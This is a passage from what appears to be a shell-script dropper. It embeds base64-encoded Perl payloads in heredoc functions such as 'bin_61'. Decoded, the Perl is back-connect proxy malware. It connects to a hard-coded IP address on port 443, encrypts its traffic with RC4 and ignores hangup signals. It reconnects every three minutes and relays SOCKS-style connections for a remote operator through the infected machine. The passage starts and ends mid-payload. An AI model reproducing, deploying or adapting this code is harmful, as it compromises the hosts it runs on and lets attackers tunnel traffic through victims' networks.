YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_61() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTYnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 